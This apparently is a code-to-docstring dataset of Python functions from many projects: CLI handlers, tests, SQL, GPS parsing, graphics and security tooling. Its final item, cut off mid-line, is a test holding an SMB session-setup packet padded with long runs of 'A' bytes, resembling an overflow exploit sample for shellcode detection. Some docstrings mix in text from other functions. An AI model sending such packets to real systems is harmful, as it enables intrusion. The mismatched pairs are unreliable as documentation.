self.colorize(self.colorize(m, 'blue'),'bold'))\n return\n if opts.multicast_aes_indicator:\n if opts.multicast_aes_indicator == 'true':\n interface_instance.data.multicast_aes_indicator = True\n elif opts.multicast_aes_indicator == 'false':\n interface_instance.data.multicast_aes_indicator = False\n else:\n m = 'Invalid boolean value for Channel Partition \\\n multicast_aes_indicator \\'{}\\''.format(\n opts.multicast_aes_indicator)\n self.poutput(\n self.colorize('Error: ', 'red') +\n self.colorize(self.colorize(m, 'blue'), 'bold'))\n return\n if opts.authentication_method:\n auth_method_types = \\\n [\"serial_number\", \"loid\", \"registration_id\",\n \"omci\", \"dot1x\"]\n assert opts.authentication_method in auth_method_types, \\\n 'Invalid Enum value for Channel Partition \\\n authentication method \\'{}\\''.format(\n opts.authentication_method)\n interface_instance.data.authentication_method = \\\n bbf_fiber_types_pb2._AUTHMETHODTYPE.\\\n values_by_name[opts.authentication_method.upper()].number\n if opts.channelgroup_ref:\n interface_instance.data.channelgroup_ref = \\\n opts.channelgroup_ref\n if line.strip() == \"create\":\n stub.CreateChannelpartition(interface_instance)\n elif line.strip() == \"update\":\n stub.UpdateChannelpartition(interface_instance)\n elif line.strip() == \"delete\":\n stub.DeleteChannelpartition(interface_instance)\n return\n except Exception, e:\n self.poutput(\n self.colorize('Error: ', 'red') +\n self.colorize(self.colorize(e.message, 'blue'), 'bold'))\n return\n", "nl": "channel partition get, create -flags ,update -flags , delete -n "} {"code": "def can_exist_outside_of_game(self) -> bool:\n del mode\n del config\n raise AssertionError(\"Device {} cannot be overloaded.\".format(self))\n\n @event_handler(20)", "nl": "Return true if this device can exist outside of a game.return Falsedef overload_config_in_mode(self, mode: Mode, config: dict) -> None:Overload config in mode."} {"code": "def test_write_default_name(self):\n with zipfile.ZipFile(TESTFN2, \"w\") as zipfp:\n zipfp.write(TESTFN)\n with open(TESTFN, \"rb\") as f:\n self.assertEqual(zipfp.read(TESTFN), f.read())\n", "nl": "Check that calling ZipFile.write without arcname specifiedproduces the expected result."} {"code": "def parse_fact(text, range_pos=\"head\", default_day=None, ref=\"now\"):\n\n res = {}\n\n text = text.strip()\n if not text:\n return res\n\n (start, end), remaining_text = dt.Range.parse(text, position=range_pos,\n separator=ACTIVITY_SEPARATOR,", "nl": "Extract fact fields from the string.Returns found fields as a dict.Tentative syntax (not accurate):start [- end_time] activity[@category][,, description][,,]{ #tag}According to the legacy tests, # were allowed in the description"} {"code": "def _pre_rewrite_validate(self, original_model: ModelDescription):\n pass\n\n @abc.abstractmethod", "nl": "Perform pre-rewrite validation to check the model has expected structure.Args:original_model: A `ModelDescription` object describing the original model.Raises:ValueError: If the original model does not have the expected structure."} {"code": "def test_decompile_endpoint(self) -> None:\n scratch_dict = {\n \"compiler\": GCC281.id,\n \"platform\": N64.id,", "nl": "Ensure that the decompile endpoint works"} {"code": "def build_from_table(self):\n table_parts = []\n\n for table in self.tables:\n sql = table.get_sql()\n if len(sql):\n table_parts.append(sql)\n\n sql = 'FROM {0} '.format(', '.join(table_parts))\n\n return sql\n", "nl": "Generates the sql for the FROM portion of the query:return: the FROM portion of the query:rtype: str"} {"code": "def _parse_GSA(self, sentence):\n totalMsgs = sentence.get_int(0)\n msgNumber = sentence.get_int(1)\n totalSats = sentence.get_int(2)\n if msgNumber < totalMsgs:\n satRange = 4\n else:\n satRange = totalSats - ((msgNumber - 1) * 4)\n\n if msgNumber == 1:\n self.__satellites = {}\n\n for idx in xrange(satRange):\n sat = sentence.get_satellite(3 + (idx*4))\n sat.in_use = sat.prn in self.satellitesInUse", "nl": " Parse \"GPS DOP and Active Satellites\" sentence fixType = self.fixTypeself.fixMode = sentence.get(0)self.fixType = sentence.get_int(1, 1)pdop = sentence.get_float(14, 0.0)hdop = sentence.get_float(15, 0.0)vdop = sentence.get_float(16, 0.0)self.dop = (pdop, hdop, vdop)# Update sats in useself.satellitesInUse = sentence.get_list(2, 12)for prn, sat in self.satellites.iteritems():sat.in_use = prn in self.satellitesInUse# Raise eventsif fixType != self.fixType:self.__on_fix_update()if len(self.satellites):self.__on_satellite_status_update()def _parse_GSV(self, sentence): Parse \"GPS Satellites in View\" sentence "} {"code": "def explode_firework(self, prev_emitter):\n self.emitters.append(make_puff(prev_emitter))\n self.emitters.append(make_flash(prev_emitter))\n\n spark_texture, ring_texture = random.choice(SPARK_PAIRS)\n sparks = arcade.Emitter(\n center_xy=prev_emitter.get_pos(),\n emit_controller=arcade.EmitBurst(25),\n particle_factory=lambda emitter: arcade.FadeParticle(\n filename_or_texture=spark_texture,\n change_xy=arcade.rand_in_circle((0.0, 0.0), 8.0),\n lifetime=random.uniform(0.55, 0.8),\n mutation_callback=firework_spark_mutator\n )\n )\n self.emitters.append(sparks)\n\n ring = arcade.Emitter(\n center_xy=prev_emitter.get_pos(),\n emit_controller=arcade.EmitBurst(20),\n particle_factory=lambda emitter: arcade.FadeParticle(\n filename_or_texture=ring_texture,\n change_xy=arcade.rand_on_circle((0.0, 0.0), 5.0) + arcade.rand_in_circle((0.0, 0.0), 0.25),\n lifetime=random.uniform(1.0, 1.6),\n mutation_callback=firework_spark_mutator\n )\n )\n self.emitters.append(ring)\n", "nl": "Actions that happen when a firework shell explodes, resulting in a typical fireworkself.emitters.append(make_puff(prev_emitter))self.emitters.append(make_flash(prev_emitter))spark_texture = random.choice(SPARK_TEXTURES)sparks = arcade.Emitter(center_xy=prev_emitter.get_pos(),emit_controller=arcade.EmitBurst(random.randint(30, 40)),particle_factory=lambda emitter: arcade.FadeParticle(filename_or_texture=spark_texture,change_xy=arcade.rand_in_circle((0.0, 0.0), 9.0),lifetime=random.uniform(0.5, 1.2),mutation_callback=firework_spark_mutator))self.emitters.append(sparks)def explode_ringed_firework(self, prev_emitter):Actions that happen when a firework shell explodes, resulting in a ringed firework"} {"code": "def effects(self):\n effects = {}\n for effect_id, effect in self._type_effects.items():\n mode = self.get_effect_mode(effect_id)\n status = effect_id in self._running_effect_ids\n effects[effect_id] = EffectData(effect, mode, status)\n return effects\n", "nl": "Expose item's effects with item-specific data.Returns:Map in format {effect ID: (effect, effect run mode, effect runstatus)}."} {"code": "def execute_single_test_scenario(json_data):\n required_args, optional_kwargs = core.extract_json_data(json_data)\n http_method, url = core.prepare_request_args(*required_args)\n response = core.send_http_request(http_method, url, **optional_kwargs)\n response_content = core.extract_http_response_content(response)\n response_content['name'] = json_data['name']\n response_content['cover'] = ' % - COMING SOON'\n\n return response_content\n\n", "nl": "Wrapper function that comprises functionalitiesto execute a single test scenario.:param dict json_data: An arbitrary data.:returns: Result of the test scenario.:rtype: `dict'"} {"code": "def addUnique(self, key, miscData=None):\n if key.endswith('{{SUSPENDED}}'):\n return None\n if key in self:\n return self[key]\n else:\n return self.add(key, miscData)\n\n\nclass PersonsCache(_BaseCache):\n\n \"\"\"Manage the persons list.\"\"\"", "nl": "Insert a new key and return its value; if the key is alreadyin the dictionary, its previous value is returned."} {"code": "def isSuitBlock(self):\n assert(self.debugPrint(\"isEstablishedSuitBlock()\"))\n state=self.fsm.getCurrentState().getName()\n return state=='suit'\n", "nl": "return true if that block is a suit block/building/cogdoassert(self.debugPrint(\"isSuitBlock()\"))state=self.fsm.getCurrentState().getName()return self.isSuitBuilding() or self.isCogdo()def isEstablishedSuitBlock(self):return true if that block is a fully established suit building"} {"code": "def update_stats(self, preds, ori_boxes, metadata, loss=None, lr=None):\n if self.mode in [\"val\", \"test\"]:\n self.all_preds.append(preds)\n self.all_ori_boxes.append(ori_boxes)\n self.all_metadata.append(metadata)\n if loss is not None:\n self.loss.add_value(loss)\n if lr is not None:\n self.lr = lr\n", "nl": "Update the current stats.Args:preds (tensor): prediction embedding.ori_boxes (tensor): original boxes (x1, y1, x2, y2).metadata (tensor): metadata of the AVA data.loss (float): loss value.lr (float): learning rate."} {"code": "def predict(self, X):\n raise NotImplementedError('Not implemented in base (Classifier) class')\n", "nl": " Predict the class labels for the provided data. raise NotImplementedError('Not implemented in base ({}) class'.format(self.__class__.__name__))def predict_proba(self, X): Compute probabilities of possible outcomes for samples in the provided data.. "} {"code": "def __init__(self, options):\n\n options.dispatcher = dispatch.Dispatcher(\n options.websock_handlers,\n options.scan_dir,\n options.allow_handlers_outside_root_dir)\n if options.websock_handlers_map_file:\n _alias_handlers(options.dispatcher,\n options.websock_handlers_map_file)\n warnings = options.dispatcher.source_warnings()\n if warnings:\n for warning in warnings:\n logging.warning('Warning in source loading: %s' % warning)\n\n self._logger = util.get_class_logger(self)\n\n self.request_queue_size = options.request_queue_size\n self.__ws_is_shut_down = threading.Event()\n self.__ws_serving = False\n\n SocketServer.BaseServer.__init__(\n self, (options.server_host, options.port), WebSocketRequestHandler)\n\n self.websocket_server_options = options\n\n self._create_sockets()\n self.server_bind()\n self.server_activate()\n", "nl": "Override SocketServer.TCPServer.__init__ to set SSL enabledsocket object to self.socket before server_bind and server_activate,if necessary."} {"code": "def get_object(self, queryset=None):\n View Active Terms and Conditions View\n\n url: /terms/active/\n \"\"\"", "nl": "Override of DetailView method, queries for which T&C to returnLOGGER.debug(\"termsandconditions.views.TermsView.get_object\")return self.get_terms(self.kwargs)class TermsActiveView(TermsView):"} {"code": "def _find_dt_entry_with_same_file(self, dt_entry):\n\n dt_entry_path = os.path.realpath(dt_entry.dt_file.name)\n for entry in self.__dt_entries:\n entry_path = os.path.realpath(entry.dt_file.name)\n if entry_path == dt_entry_path:\n return entry\n return None\n", "nl": "Finds DT Entry that has identical backing DT file.Args:dt_entry: DtEntry object whose 'dtfile' we find for existence in thecurrent 'dt_entries'.Returns:If a match by file path is found, the corresponding DtEntry objectfrom internal list is returned. If not, 'None' is returned."} {"code": "def kube_types(self):\n printout = PrintOut(wants_header=True,\n fields=(('id', 12), ('name', 32)),\n as_json=self.as_json)\n data = [{'name': k, 'id': v} for k, v in\n self._get_kube_types().iteritems()]\n data.sort()\n printout.show_list(data)\n", "nl": "Return list of available kube types"} {"code": "def rmLeading(input,toremove,toignore=\"\"):\n\tnewstring = \"\"\n\tcnt = 0\n\twhile cnt < len(input):\n\t\tif input[cnt] != toremove and input[cnt] != toignore:\n\t\t\tbreak\n\t\tcnt += 1\n\tnewstring = input[cnt:]\n\treturn newstring\n\n", "nl": "Removes leading characters from an input stringArguments:input - the input stringtoremove - the character to remove from the begin of the stringtoignore - ignore this characterReturn:the input string without the leading character(s)"} {"code": "def extractLinksFromHtml(url: str, data: str, domains: list) -> dict:\n returnLinks = dict()\n\n if not isinstance(url, str):\n raise TypeError(f\"url {type(url)}; expected str()\")\n\n if not isinstance(data, str):\n raise TypeError(f\"data {type(data)}; expected str()\")\n\n if isinstance(domains, str):\n domains = [domains]\n\n tags = {\n 'a': 'href',\n 'img': 'src',\n 'script': 'src',\n 'link': 'href',\n 'area': 'href',\n 'base': 'href',\n 'form': 'action'\n }\n\n links = []\n\n try:\n for t in list(tags.keys()):\n for lnk in BeautifulSoup(data, features=\"lxml\", parse_only=SoupStrainer(t)).find_all(t):\n if lnk.has_attr(tags[t]):\n links.append(lnk[tags[t]])\n except BaseException:\n return returnLinks\n\n try:\n proto = url.split(\":\")[0]\n except BaseException:\n proto = \"http\"\n if proto is None:\n proto = \"http\"\n\n for link in links:\n if not isinstance(link, str):\n link = str(link)\n\n link = link.strip()\n\n if len(link) < 1:\n continue\n\n if link[len(link) - 1] in ['.', '\n continue\n\n if re.match('.*\n continue\n\n if 'mailto:' in link.lower():\n continue\n\n if '%2f' in link.lower():\n link = urllib.parse.unquote(link)\n\n absLink = None\n\n if '://' in link:\n absLink = link\n\n elif link.startswith('//'):\n absLink = proto + ':' + link\n\n elif link.startswith('/'):\n absLink = SpiderFootHelpers.urlBaseUrl(url) + link\n\n for domain in domains:\n if absLink is None and domain.lower() in link.lower():\n absLink = proto + '://' + link\n\n if absLink is None:\n absLink = SpiderFootHelpers.urlBaseDir(url) + link\n\n absLink = SpiderFootHelpers.urlRelativeToAbsolute(absLink)\n returnLinks[absLink] = {'source': url, 'original': link}\n\n return returnLinks\n\n @staticmethod", "nl": "Find all URLs within the supplied content.This function does not fetch any URLs.A dictionary will be returned, where each link will have the keys:'source': The URL where the link was obtained from'original': What the link looked like in the content it was obtained fromThe key will be the *absolute* URL of the link obtained, so for example ifthe link '/abc' was obtained from 'http://xyz.com', the key in the dict willbe 'http://xyz.com/abc' with the 'original' attribute set to '/abc'Args:url (str): base URL used to construct absolute URLs from relative URLsdata (str): data to examine for linksdomains: TBDReturns:dict: linksRaises:TypeError: argument was invalid type"} {"code": "def get_category(self, id, **data):\n return self.get(\"/categories/{0}/\".format(id), data=data)\n", "nl": "GET /categories/:id/Gets a :format:`category` by ID as ``category``."} {"code": "def iter_markers_with_node(self, name=None):\n for node in reversed(self.listchain()):\n for mark in node.own_markers:\n if name is None or getattr(mark, \"name\", None) == name:\n yield node, mark\n", "nl": ":param name: if given, filter the results by the name attributeiterate over all markers of the nodereturns sequence of tuples (node, mark)"} {"code": "def _is_shell(self, executable):\n try:\n with open(executable) as fp:\n return fp.read(2) == '\n except (OSError, IOError):\n logger.warning('Failed to open %s', executable)\n return False\n", "nl": "Determine if the specified executable is a script(contains a #! line)"} {"code": "def points_in_convex_polygon_jit(points, polygon, clockwise=True):\n num_points_of_polygon = polygon.shape[1]\n num_points = points.shape[0]\n num_polygons = polygon.shape[0]\n if clockwise:\n vec1 = polygon - polygon[:, [num_points_of_polygon - 1] +\n list(range(num_points_of_polygon - 1)), :]\n else:\n vec1 = polygon[:, [num_points_of_polygon - 1] +\n list(range(num_points_of_polygon - 1)), :] - polygon\n ret = np.zeros((num_points, num_polygons), dtype=np.bool_)\n success = True\n cross = 0.0\n for i in range(num_points):\n for j in range(num_polygons):\n success = True\n for k in range(num_points_of_polygon):\n cross = vec1[j, k, 1] * (polygon[j, k, 0] - points[i, 0])\n cross -= vec1[j, k, 0] * (polygon[j, k, 1] - points[i, 1])\n if cross >= 0:\n success = False\n break\n ret[i, j] = success\n return ret\n\n", "nl": "check points is in 2d convex polygons. True when point in polygonArgs:points: [num_points, 2] array.polygon: [num_polygon, num_points_of_polygon, 2] array.clockwise: bool. indicate polygon is clockwise.Returns:[num_points, num_polygon] bool array."} {"code": "def test_require_version_exception(self):", "nl": " should throw a ValueError exception"} {"code": "def serialize(self, obj):\n items = self._get_items(obj)\n return self.serialize_items(items)", "nl": "please ensure you have implemented `_get_items` and`serialize_items` method"} {"code": "def info():\n click.echo(logo)\n\n\n@cli.command()\n@click.argument(\"project_name\")\n@click.option(", "nl": "Checks that Rony is correctly installed"} {"code": "def add_certificate(self, key, cert, domain):\n self.certificates.add(key, cert, domain)\n", "nl": "Add a key and cert that will be usedany time a request requires authentication."} {"code": "def export_tf_reid_model(model: torch.nn.Module, tensor_inputs: torch.Tensor, graph_save_path: str):\n assert isinstance(model, torch.nn.Module)\n\n print(\"Exporting a {} model via ONNX ...\".format(type(model).__name__))\n predict_net = _export_via_onnx(model, tensor_inputs)\n print(\"ONNX export Done.\")\n\n print(\"Saving graph of ONNX exported model to {} ...\".format(graph_save_path))\n predict_net.export_graph(graph_save_path)\n\n print(\"Checking if tf.pb is right\")\n _check_pytorch_tf_model(model, graph_save_path)\n", "nl": "Export a reid model via ONNX.Arg:model: a tf_1.x-compatible version of detectron2 model, defined in caffe2_modeling.pytensor_inputs: a list of tensors that caffe2 model takes as input."} {"code": "def process_subst(self):\n\n\tsrc = Utils.to_list(getattr(self, 'source', []))\n\tif isinstance(src, Node.Node):\n\t\tsrc = [src]\n\ttgt = Utils.to_list(getattr(self, 'target', []))\n\tif isinstance(tgt, Node.Node):\n\t\ttgt = [tgt]\n\tif len(src) != len(tgt):\n\t\traise Errors.WafError('invalid number of source/target for %r' % self)\n\n\tfor x, y in zip(src, tgt):\n\t\tif not x or not y:\n\t\t\traise Errors.WafError('null source or target for %r' % self)\n\t\ta, b = None, None\n\n\t\tif isinstance(x, str) and isinstance(y, str) and x == y:\n\t\t\ta = self.path.find_node(x)\n\t\t\tb = self.path.get_bld().make_node(y)\n\t\t\tif not os.path.isfile(b.abspath()):\n\t\t\t\tb.parent.mkdir()\n\t\telse:\n\t\t\tif isinstance(x, str):\n\t\t\t\ta = self.path.find_resource(x)\n\t\t\telif isinstance(x, Node.Node):\n\t\t\t\ta = x\n\t\t\tif isinstance(y, str):\n\t\t\t\tb = self.path.find_or_declare(y)\n\t\t\telif isinstance(y, Node.Node):\n\t\t\t\tb = y\n\n\t\tif not a:\n\t\t\traise Errors.WafError('could not find %r for %r' % (x, self))\n\n\t\ttsk = self.create_task('subst', a, b)\n\t\tfor k in ('after', 'before', 'ext_in', 'ext_out'):\n\t\t\tval = getattr(self, k, None)\n\t\t\tif val:\n\t\t\t\tsetattr(tsk, k, val)\n\n\t\tfor xt in HEADER_EXTS:\n\t\t\tif b.name.endswith(xt):\n\t\t\t\ttsk.ext_out = tsk.ext_out + ['.h']\n\t\t\t\tbreak\n\n\t\tinst_to = getattr(self, 'install_path', None)\n\t\tif inst_to:\n\t\t\tself.install_task = self.add_install_files(install_to=inst_to,\n\t\t\t\tinstall_from=b, chmod=getattr(self, 'chmod', Utils.O644))\n\n\tself.source = []\n", "nl": "Defines a transformation that substitutes the contents of *source* files to *target* files::def build(bld):bld(features='subst',source='foo.c.in',target='foo.c',install_path='${LIBDIR}/pkgconfig',VAR = 'val')The input files are supposed to contain macros of the form *@VAR@*, where *VAR* is an argumentof the task generator object.This method overrides the processing by :py:meth:`waflib.TaskGen.process_source`."} {"code": "def from_pfx_file(filepath:str, password:str, dhparams:DirtyDH = None, username:str = None, domain:str = None) -> KerberosCredential:\n\t\twith open(filepath, 'rb') as f:\n\t\t\tdata = f.read()\n\t\treturn KerberosCredential.from_pfx_string(data, password, dhparams = dhparams, username = username, domain = domain)\n", "nl": "Username and domain will override the values found in the certificate"} {"code": "def testShellcode22(self):\n\n shellcode = b\"\\x00\\x00\\x00\\x85\\xff\\x53\\x4d\\x42\\x72\\x00\\x00\\x00\\x00\\x18\\x53\\xc8\"\n shellcode += b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x37\\x13\"\n shellcode += b\"\\x00\\x00\\x00\\x00\\x00\\x62\\x00\\x02\\x50\\x43\\x20\\x4e\\x45\\x54\\x57\\x4f\"\n shellcode += b\"\\x52\\x4b\\x20\\x50\\x52\\x4f\\x47\\x52\\x41\\x4d\\x20\\x31\\x2e\\x30\\x00\\x02\"\n shellcode += b\"\\x4c\\x41\\x4e\\x4d\\x41\\x4e\\x31\\x2e\\x30\\x00\\x02\\x57\\x69\\x6e\\x64\\x6f\"\n shellcode += b\"\\x77\\x73\\x20\\x66\\x6f\\x72\\x20\\x57\\x6f\\x72\\x6b\\x67\\x72\\x6f\\x75\\x70\"\n shellcode += b\"\\x73\\x20\\x33\\x2e\\x31\\x61\\x00\\x02\\x4c\\x4d\\x31\\x2e\\x32\\x58\\x30\\x30\"\n shellcode += b\"\\x32\\x00\\x02\\x4c\\x41\\x4e\\x4d\\x41\\x4e\\x32\\x2e\\x31\\x00\\x02\\x4e\\x54\"\n shellcode += b\"\\x20\\x4c\\x4d\\x20\\x30\\x2e\\x31\\x32\\x00\\x00\\x00\\x10\\xbf\\xff\\x53\\x4d\"\n shellcode += b\"\\x42\\x73\\x00\\x00\\x00\\x00\\x18\\x07\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n shellcode += b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x37\\x13\\x00\\x00\\x00\\x00\\x0c\\xff\\x00\"\n shellcode += b\"\\x00\\x00\\x04\\x11\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7e\\x10\\x00\\x00\"\n shellcode += b\"\\x00\\x00\\xd4\\x00\\x00\\x80\\x7e\\x10\\x60\\x82\\x10\\x7a\\x06\\x06\\x2b\\x06\"\n shellcode += b\"\\x01\\x05\\x05\\x02\\xa0\\x82\\x10\\x6e\\x30\\x82\\x10\\x6a\\xa1\\x82\\x10\\x66\"\n shellcode += b\"\\x23\\x82\\x10\\x62\\x03\\x82\\x04\\x01\\x00\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n shellcode += 